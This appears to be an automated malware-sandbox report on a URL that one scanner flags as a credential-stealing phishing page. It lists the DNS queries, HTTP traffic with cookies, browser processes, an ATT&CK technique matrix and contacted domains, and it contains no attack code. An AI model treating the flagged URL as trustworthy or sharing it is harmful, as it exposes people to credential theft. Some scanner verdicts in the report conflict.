Source: global traffic	DNS traffic detected: DNS query: trial-eum-clientnsv4-s.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: trial-eum-clienttons-s.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: 8-46-123-33_s-2-16-241-7_ts-1723223560-clienttons-s.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: baxhwiiccdxjezvwjyea-p0zhf6-3c0d32335-clientnsv4-s.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: rum.api.intuit.com
Source: global traffic	DNS traffic detected: DNS query: creditkarma.com
Source: global traffic	DNS traffic detected: DNS query: logging.api.intuit.com
Source: global traffic	DNS traffic detected: DNS query: www.creditkarma.com
Source: global traffic	DNS traffic detected: DNS query: api.creditkarma.com
Source: global traffic	DNS traffic detected: DNS query: creditkarmacdn-a.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: ck-content.imgix.net
Source: global traffic	DNS traffic detected: DNS query: stun.l.google.com
Source: global traffic	DNS traffic detected: DNS query: tags.creditkarma.com
Source: global traffic	DNS traffic detected: DNS query: cdn.taboola.com
Source: global traffic	DNS traffic detected: DNS query: analytics.tiktok.com
Source: global traffic	DNS traffic detected: DNS query: pixel.byspotify.com
Source: global traffic	DNS traffic detected: DNS query: sponge.creditkarma.com
Source: global traffic	DNS traffic detected: DNS query: pixels.spotify.com
Source: global traffic	DNS traffic detected: DNS query: trc.taboola.com
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: trc-events.taboola.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: pips.taboola.com
Source: global traffic	DNS traffic detected: DNS query: cds.taboola.com
Source: global traffic	DNS traffic detected: DNS query: ck-assets.imgix.net
Source: global traffic	DNS traffic detected: DNS query: creditkarma-cms.imgix.net
Source: global traffic	DNS traffic detected: DNS query: ckgoprod-a.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: v0.wordpress.com
Source: global traffic	DNS traffic detected: DNS query: stats.wp.com
Source: global traffic	DNS traffic detected: DNS query: cms.creditkarma.com
Source: global traffic	DNS traffic detected: DNS query: pixel.wp.com
Source: global traffic	DNS traffic detected: DNS query: js-agent.newrelic.com
Source: global traffic	DNS traffic detected: DNS query: bam-cell.nr-data.net
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net

Source: unknown

HTTP traffic detected: POST /api/sync HTTP/1.1Host: consent.intuit.comConnection: keep-aliveContent-Length: 14sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: application/jsonAccept: */*Origin: https://turbotax.intuit.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ivid=49283062-d309-414a-8948-62720df8cfad; interests_l2=""; priorityCode=3468337910; AKES_GEO=US~NJ; _abck=4F2FA7CC61A129ADEFBBDAAD182D3879~-1~YAAQIShDF0zcACKRAQAAiXQgOAynvBOptWzwN7Wn4mu+nAPpoNEJutvQbxGvV1Q5xHn+0l1a/ecTyNCShtFkuAisxOjEun16gdOWijiQf/SA7MFBujldy2ubl0SFg/ITMHf3o7ziQ7tlLl9FHtNar1QSoavHBxK7NJtQBVy84kPLV+pJH9DKhGE8R+gB8AkX2+W9o1QY5stlHFCW2Uhgn77odYaH2MPx0sYrVv6mnY7aeobPfW6iAvWaakCyZAxEVbCbflVSHtRc1Fqn+HF+GryhpuX1aK2vtN18RwtSjDfkQfUoGiJUQkG4xv6PAOx5OWm7yNB3Rd/EB8aNmtjok9XvQ3wKGwzB5xcbiCPMXvNublNJrh1nMAe4eIk=~-1~-1~-1; bm_sz=5D11FB93F6C0E749F560E18E0910CD49~YAAQIShDF03cACKRAQAAiXQgOBhUUP6I20WZeEqlF1daTuzdVZvXF5OCLF+4pjt1PcBKf/WUgAJtJst++TVpPU4Bb+FpKEntag2O7KxGJz1IMLcP1BE+leDneEVo59D1A6XAKZRSb1neTl/fDxd2COK7bfcsj775qtFN+7vStw/kxT4ZtsguB2AYKRIjJhm83WH4JPnfi/Ya88PF1+39CamRo2IlNPsq8cOBtXI2KV0Ha2siCWxKAFazR7IlF2/foQe48dNYu/gDjUfEmysI2Jm2cNjAC5fk6TbQmhXWc8hEgD8N2B8jRIUbra+3O4vJF9Usg3/RAlm9hdbFm57ooo+bqDaQvA0MOW/n3tR8KRaqBMkfMJ+gnYxCOPGNd/z8AheI~3748918~3491140; ccpa=1|1

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundx-request-id: cdf0095d-16b6-40ff-90a8-607d1ba93875vary: Origindate: Fri, 09 Aug 2024 17:12:38 GMTx-konductor: N/Ax-adobe-edge: IRL1;6server: jagcontent-length: 0strict-transport-security: max-age=31536000; includeSubDomainscache-control: no-cache, no-store, max-age=0, no-transform, privatex-xss-protection: 1; mode=blockx-content-type-options: nosniffconnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 09 Aug 2024 17:12:48 GMTContent-Type: text/plainContent-Length: 0Connection: closex-envoy-upstream-service-time: 0strict-transport-security: max-age=31536000intuit_tid: 1-66b64e10-6f629853736e29944b9605d1x-request-id: 1-66b64e10-6f629853736e29944b9605d1server: istio-envoy
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Fri, 09 Aug 2024 17:13:03 GMTserver: envoyContent-Length: 0strict-transport-security: max-age=31536000x-content-type-options: nosniffVia: HTTP/2 edgeproxy, 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Fri, 09 Aug 2024 17:13:11 GMTserver: envoyContent-Length: 0strict-transport-security: max-age=31536000x-content-type-options: nosniffVia: HTTP/2 edgeproxy, 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1996,i,979859957716349919,8738456227367105774,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://coinportfolio.cc/2feb3e56b/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1996,i,979859957716349919,8738456227367105774,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: agree
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: agree

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: chromecache_897.1.dr	Binary or memory string: if(vmcid){ids.vmcid=b["cp.utag_tt_mktid_vmcid"]=vmcid;}
Source: chromecache_897.1.dr	Binary or memory string: var mktids=b["cp.ensmktids"]\|\|"{}",ids=JSON.parse(decodeURIComponent(mktids));var dcm=window.dcm_userID\|\|'',ecid=getECID();var bing=b["qp.msclkid"],gclid=b["qp.gclid"],p_uid=b["qp.p_uid"],infl_st=b["qp.infl_share_token"],infl_cid=b["qp.infl_referral_campaign_id"],vmcid=b["qp.vmcid"],wbraid=b["qp.wbraid"];var fbp=b["cp._fbp"],fbc=b["cp._fbc"],s_ecid=b["cp.s_ecid"];if(dcm\|\|ecid\|\|bing\|\|gclid\|\|p_uid\|\|infl_st\|\|infl_cid\|\|fbp\|\|fbc\|\|s_ecid\|\|vmcid\|\|wbraid){if(dcm){ids.dcm_id=b["cp.utag_tt_mktid_dcm"]=dcm;}

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
https://coinportfolio.cc/2feb3e56b/	0%	Avira URL Cloud	safe
https://coinportfolio.cc/2feb3e56b/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://stats.g.doubleclick.net/g/collect	0%	URL Reputation	safe
https://tailwindcss.com	0%	URL Reputation	safe
https://www.redditstatic.com/ads/pixel.js	0%	URL Reputation	safe
https://fontawesome.com	0%	URL Reputation	safe
https://openjsf.org/	0%	URL Reputation	safe
https://schema.org	0%	URL Reputation	safe
http://underscorejs.org/LICENSE	0%	URL Reputation	safe
https://sc-static.net/scevent.min.js	0%	URL Reputation	safe
https://ka-f.fontawesome.com	0%	URL Reputation	safe
https://cdn.taboola.com/libtrc/unip/1022710/tfa.js	0%	Avira URL Cloud	safe
https://coinportfolio.cc/2feb3e56b/40eb1532f9b35de51b7e.svg	0%	Avira URL Cloud	safe
https://uxfabric.intuitcdn.net/@appfabric/web-shell-core/9.70.3/BaseWidget.min.js	0%	Avira URL Cloud	safe
https://i.liadm.com/s/66627?bidder_id=88068&bidder_uuid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdaf	0%	Avira URL Cloud	safe
https://uxfabric.intuitcdn.net/analytics/202309142221/visitorapi.min.js	0%	Avira URL Cloud	safe
https://cds.taboola.com/?uid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e&src=tfa	0%	Avira URL Cloud	safe
https://creditkarma-cms.imgix.net/wp-content/themes/creditkarma/favicons/creditkarma-favicon.ico?v=0.1.82	0%	Avira URL Cloud	safe
https://digitalasset.intuit.com/render/content/dam/intuit/cg/en_us/marketing/homepage/2024/3_up_diwm	0%	Avira URL Cloud	safe
https://uxfabric.intuitcdn.net/react-dom/17.0.2/react-dom.min.js	0%	Avira URL Cloud	safe
https://creditkarma-cms.imgix.net/wp-content/themes/creditkarma/assets/images/social-youtube.svg	0%	Avira URL Cloud	safe
http://blog.turbotax.intuit.com/	0%	Avira URL Cloud	safe
https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/brand/badges/Guarantee_Badge_Total-Satis	0%	Avira URL Cloud	safe
https://digitalasset.intuit.com/render/content/dam/intuit/cg/en_us/marketing/homepage/2024/3_up_diy.	0%	Avira URL Cloud	safe
https://github.com/sindresorhus/modern-normalize	0%	Avira URL Cloud	safe
https://creditkarma-cms.imgix.net/wp-content/uploads/2023/11/LCR-5529-Module-4-monthly-insights-6.png?w=1024&fm=webp	0%	Avira URL Cloud	safe
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-DemiIt.2.woff	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/Download_App_Desktop@2x.png?auto=format%2Ccompress	0%	Avira URL Cloud	safe
https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/youtube.svg	0%	Avira URL Cloud	safe
https://turbotax.com/support/go/GEN88403	0%	Avira URL Cloud	safe
https://uxfabric.intuitcdn.net/prop-types/15.8.1/prop-types.min.js	0%	Avira URL Cloud	safe
https://www.creditkarma.com/?source=intuit	0%	Avira URL Cloud	safe
https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/images/brands/logo-creditkarma.svg	0%	Avira URL Cloud	safe
https://uxfabric.intuitcdn.net/@design-systems/theme/4.0.3/dist/appfabric/theme.js	0%	Avira URL Cloud	safe
https://proconnect.intuit.com/?s_cid=TT.com_MoreProds-Footer_ProTaxSoftware	0%	Avira URL Cloud	safe
https://uxfabric.intuitcdn.net/@cloud-monitoring/1.21.1/o11y-rum-web.min.js	0%	Avira URL Cloud	safe
https://www.intuit.com/careers/	0%	Avira URL Cloud	safe
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-Regular.2.woff	0%	Avira URL Cloud	safe
https://uxfabric.intuitcdn.net/analytics/202309142221/track-event-lib-performance.min.js	0%	Avira URL Cloud	safe
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-BoldIt.1.woff2	0%	Avira URL Cloud	safe
https://creditkarmacdn-a.akamaihd.net/res/content/bundles/cfwk_raw-tracker-web/2.16.1/	0%	Avira URL Cloud	safe
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/Editorial_Desktop@2x.png?auto=format%2Ccompress	0%	Avira URL Cloud	safe
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-Bold.1.woff2	0%	Avira URL Cloud	safe
https://accounts-tax.intuit.com/app/community/signup	0%	Avira URL Cloud	safe
https://intuit-teams.slack.com/archives/CD2AD7KJA	0%	Avira URL Cloud	safe
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-MediumIt.2.woff	0%	Avira URL Cloud	safe
https://dpm.demdex.net/id?d_visid_ver=5.3.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=969430F0543F253D0A4C98C6%40AdobeOrg&d_nsid=0&ts=1723223544960	0%	Avira URL Cloud	safe
https://trc.taboola.com/1022710/trc/3/json?tim=1723223588853&data=%7B%22id%22%3A483%2C%22ii%22%3A%22%2Fwealth%22%2C%22it%22%3A%22video%22%2C%22sd%22%3A%22v2_5669f483b68baca18e57d9c66a35bd8f_4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e_1723223582_1723223582_CNawjgYQ9rU-GK6-hMGTMiABKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiQgI6I5eeGxhBwAQ%22%2C%22ui%22%3A%224c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e%22%2C%22vi%22%3A1723223588845%2C%22cv%22%3A%2220230124-13-RELEASE%22%2C%22uiv%22%3A%22default%22%2C%22u%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2Fwealth%3F%22%2C%22e%22%3Anull%2C%22cb%22%3A%22TFASC.trkCallback%22%2C%22qs%22%3A%22%22%2C%22r%22%3A%5B%7B%22li%22%3A%22rbox-tracking%22%2C%22s%22%3A0%2C%22uim%22%3A%22rbox-tracking%3Apub%3Dcreditkarma-creditcards-sc%3Aabp%3D0%22%2C%22uip%22%3A%22rbox-tracking%22%2C%22orig_uip%22%3A%22rbox-tracking%22%7D%5D%2C%22mpv%22%3Atrue%2C%22supv%22%3Atrue%2C%22mpvd%22%3A%7B%22en%22%3A%22page_view%22%2C%22tim%22%3A1723223588852%2C%22ref%22%3Anull%2C%22item-url%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2Fwealth%22%2C%22tos%22%3A4312%2C%22ssd%22%3A2%2C%22scd%22%3A0%2C%22ler%22%3A%22other%22%2C%22supv%22%3Atrue%7D%7D&pubit=i	0%	Avira URL Cloud	safe
https://support.turbotax.intuit.com/redirect/eidproof	0%	Avira URL Cloud	safe
https://digitalasset.intuit.com/render/content/dam/intuit/cg/en_us/brand/badges/Guarantee_Badge_Life	0%	Avira URL Cloud	safe
https://creditkarma-cms.imgix.net/wp-content/themes/creditkarma/assets/images/social-twitter.svg	0%	Avira URL Cloud	safe
https://tdsf.doubleclick.net/td/adfetch/gda?adg_id=157259896247	0%	Avira URL Cloud	safe
https://quickbooks.intuit.com/payroll/	0%	Avira URL Cloud	safe
https://coinportfolio.cc/2feb3e56b/89789ca2129d1c1775a0.svg	0%	Avira URL Cloud	safe
https://blog.turbotax.intuit.com/tax-planning-2/how-bonuses-are-taxed-calculator-15628/	0%	Avira URL Cloud	safe
https://creditkarma.com/	0%	Avira URL Cloud	safe
https://github.com/yowainwright/stickybits#readme	0%	Avira URL Cloud	safe
https://support.turbotax.intuit.com/contact	0%	Avira URL Cloud	safe
https://ttlc.intuit.com/community/charges-and-fees/help/what-is-the-turbotax-audit-support-guarantee	0%	Avira URL Cloud	safe
https://myturbotax.intuit.com/preloader?disableRum=true	0%	Avira URL Cloud	safe
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/karmaConfidence/hero/CC+PL_DESKTOP_3x.png?auto=format	0%	Avira URL Cloud	safe
https://uxfabric.intuitcdn.net/@cloud-monitoring/1.21.1/591.min.js	0%	Avira URL Cloud	safe
https://creditkarmacdn-a.akamaihd.net/res/content/bundles/web-tracking-client/	0%	Avira URL Cloud	safe
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/swimlane/Auto@2x.png?auto=format%2Ccompress&dpr=1	0%	Avira URL Cloud	safe
https://cqa.myturbotax.intuit.com/preloader?disableRum=true	0%	Avira URL Cloud	safe
https://turbotax.intuit.com/corp/license/online	0%	Avira URL Cloud	safe
https://bam-cell.nr-data.net/1/248e088a40?a=1386172146&sa=1&v=1210.e2a3f80&t=Unnamed%20Transaction&rst=4591&ck=1&ref=https://tags.creditkarma.com/wealth&be=1313&fe=3876&dc=2098&af=err,xhr,stn,ins,spa&perf=%7B%22timing%22:%7B%22of%22:1723223587654,%22n%22:0,%22f%22:0,%22dn%22:4,%22dne%22:4,%22c%22:4,%22s%22:5,%22ce%22:659,%22rq%22:660,%22rp%22:1046,%22rpe%22:1147,%22dl%22:1052,%22di%22:2098,%22ds%22:2098,%22de%22:2098,%22dc%22:3875,%22l%22:3875,%22le%22:3877%7D,%22navigation%22:%7B%7D%7D&jsonp=NREUM.setToken	0%	Avira URL Cloud	safe
https://ttlc.intuit.com/community/home/misc/03/en-us	0%	Avira URL Cloud	safe
https://tdsf.doubleclick.net/td/adfetch/gda?adg_id=168768523091	0%	Avira URL Cloud	safe
https://www.intuit.com/company/press-room/	0%	Avira URL Cloud	safe
https://support.turbotax.intuit.com/account-recovery	0%	Avira URL Cloud	safe
https://lib.intuitcdn.net/fonts/AvenirNext/3.0/AvenirNextforINTUIT-Demi.2.woff	0%	Avira URL Cloud	safe
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/swimlane/Savings@2x.png?auto=format%2Ccompress&dpr=1	0%	Avira URL Cloud	safe
https://myturbotax.intuit.com/	0%	Avira URL Cloud	safe
https://eventbus.intuit.com/v2/segment/cg-turbotax-clickstream/p	0%	Avira URL Cloud	safe
https://accounts-tax.intuit.com/app/turbotaxonline	0%	Avira URL Cloud	safe
https://digitalasset.intuit.com/render/content/dam/intuit/cg/en_us/brand/videos/full-service/turbota	0%	Avira URL Cloud	safe
https://stats.wp.com/e-202432.js	0%	Avira URL Cloud	safe
https://ww1.2022.ca.turbotaxonline.intuit.com/signin	0%	Avira URL Cloud	safe
https://ttlc.intuit.com/turbotax-support/en-us/help-article/intuit-account-billing/turbotax-audit-su	0%	Avira URL Cloud	safe
https://ck-content.imgix.net/res/content/bundles/homepage/2.13.0/assets/benefitPillar/Lock@2x.png?auto=format%2Ccompress&dpr=1	0%	Avira URL Cloud	safe
https://security.intuit.com/intuit-cookie-policy/	0%	Avira URL Cloud	safe
https://eventbus.intuit.com/v2/segment/cg-turbotax-clickstream/t	0%	Avira URL Cloud	safe
http://clevelsecurity.com/certified/intuit/Intuit_turbotax.html	0%	Avira URL Cloud	safe
https://js-agent.newrelic.com/nr-spa-1210.min.js	0%	Avira URL Cloud	safe
https://accounts-tax.intuit.com/app/turbotaxdesktop/account-recovery	0%	Avira URL Cloud	safe
https://docs.tealium.com/platforms/javascript/debugging/	0%	Avira URL Cloud	safe
https://quickbooks.intuit.com/accountants/?s_cid=TT.com_MoreProds-Footer_ProAcctgsoftware	0%	Avira URL Cloud	safe
https://accounts-tax.intuit.com/app/turbotaxadvantage/signup	0%	Avira URL Cloud	safe
https://trc-events.taboola.com/1022710/log/3/unip?en=pre_d_eng_tb&tos=7440&scd=0&ssd=2&est=1723223580465&ver=36&isls=true&src=i&invt=3000&msa=8&rv=1&tim=1723223591980&vi=1723223588845&ri=e657ba7009727bdb4cb6924ac9609ae8&sd=v2_5669f483b68baca18e57d9c66a35bd8f_4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e_1723223582_1723223590_CNawjgYQ9rU-GO3_hMGTMiACKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiQgI6I5eeGxhBwAQ&ui=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e&ref=null&cv=20230124-13-RELEASE&item-url=https%3A%2F%2Ftags.creditkarma.com%2Fwealth&ler=other	0%	Avira URL Cloud	safe
https://myturbotax.intuit.com	0%	Avira URL Cloud	safe
https://creditkarma-cms.imgix.net/wp-content/themes/creditkarma/assets/images/social-tiktok.svg	0%	Avira URL Cloud	safe
https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/brand/badges/Guarantee_Badge_Max-Refund_	0%	Avira URL Cloud	safe
https://coinportfolio.cc/2feb3e56b/prs.css	0%	Avira URL Cloud	safe
https://turbotax-community-e2e.intuit.com/	0%	Avira URL Cloud	safe
https://consent.intuit.com/api/sync	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
stats.wp.com	192.0.76.3	true	false	unknown
creditkarma.com	2.17.182.80	true	false	unknown
tls13.taboola.map.fastly.net	151.101.193.44	true	false	unknown
uxfabric.intuitcdn.a.intuit.com	54.192.137.47	true	false	unknown
pixel.byspotify.com	34.117.162.98	true	false	unknown
intuit.com.ssl.sc.omtrdc.net	63.140.62.222	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
stats.g.doubleclick.net	173.194.76.156	true	false	unknown
ipapi.co	104.26.8.44	true	true	unknown
idsync.rlcdn.com	35.244.174.68	true	false	unknown
code.jquery.com	151.101.66.137	true	false	unknown
dualstack.tls13.taboola.map.fastly.net	151.101.193.44	true	false	unknown
www.google.com	142.250.185.228	true	false	unknown
legacy-hostedseal-prod2-2000933319.us-east-1.elb.amazonaws.com	52.22.69.235	true	false	unknown
demdex.net.ssl.sc.omtrdc.net	63.140.62.222	true	false	unknown
lb.wordpress.com	192.0.78.13	true	false	unknown
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	54.171.112.207	true	false	unknown
dualstack.com.imgix.map.fastly.net	151.101.2.208	true	false	unknown
edge-web.dual-gslb.spotify.com	35.186.224.24	true	false	unknown
am-vip001.taboola.com	141.226.228.48	true	false	unknown
js-agent.newrelic.com	162.247.243.39	true	false	unknown
eventbus.a.intuit.com	100.21.136.150	true	false	unknown
us-cds.taboola.com	141.226.224.32	true	false	unknown
cms.creditkarma.com	192.0.66.2	true	false	unknown
fastly-tls12-bam-cell.nr-data.net	162.247.243.30	true	false	unknown
coinportfolio.cc	104.21.19.43	true	false	unknown
segment.intuitcdn.a.intuit.com	52.222.214.14	true	false	unknown
cookie-sync.gdpr-consent-prd.a.intuit.com	52.222.236.23	true	false	unknown
googleads.g.doubleclick.net	142.250.186.162	true	false	unknown
pixel.wp.com	192.0.76.3	true	false	unknown
prd-id06.apigwidprdusw2.iks2.a.intuit.com	34.208.40.199	true	false	unknown
td.doubleclick.net	142.250.185.130	true	false	unknown
analytics.google.com	142.250.185.206	true	false	unknown
prd-dx01.devpapigwextprdusw2.iks2.a.intuit.com	52.43.5.188	true	false	unknown
stun.l.google.com	74.125.250.129	true	false	unknown
geolocation.onetrust.com	104.18.29.127	true	false	unknown
dzfq4ouujrxm8.cloudfront.net	13.33.187.60	true	false	unknown
prd-dx11.devpapigwextprdusw2.iks2.a.intuit.com	54.200.248.117	true	false	unknown
digitalasset.intuit.com	unknown	unknown	false	unknown
ka-f.fontawesome.com	unknown	unknown	false	unknown
lib.intuitcdn.net	unknown	unknown	false	unknown
